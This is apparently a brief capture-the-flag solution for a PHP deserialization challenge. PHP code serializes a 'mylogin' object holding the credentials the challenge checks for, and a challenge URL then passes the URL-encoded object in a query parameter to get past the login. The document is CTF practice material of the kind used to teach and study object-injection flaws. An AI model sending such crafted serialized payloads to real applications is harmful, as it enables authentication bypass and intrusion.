php-ser-libs-level2

<?php
class mylogin{
    var $user;
    var $pass;
    function __construct($user,$pass){
        $this->user=$user;
        $this->pass=$pass;
    }
    function login(){
        if ($this->user=="daydream" and $this->pass=="ok"){
            return 1;
        }
    }
}
$a=new mylogin("daydream","ok");
echo urlencode(serialize($a));
?> 

http://80-07c36e3d-a053-45e7-a1ba-bc74d8907e16.challenge.ctfplus.cn/?param=O%3A7%3A%22mylogin%22%3A2%3A%7Bs%3A4%3A%22user%22%3Bs%3A8%3A%22daydream%22%3Bs%3A4%3A%22pass%22%3Bs%3A2%3A%22ok%22%3B%7D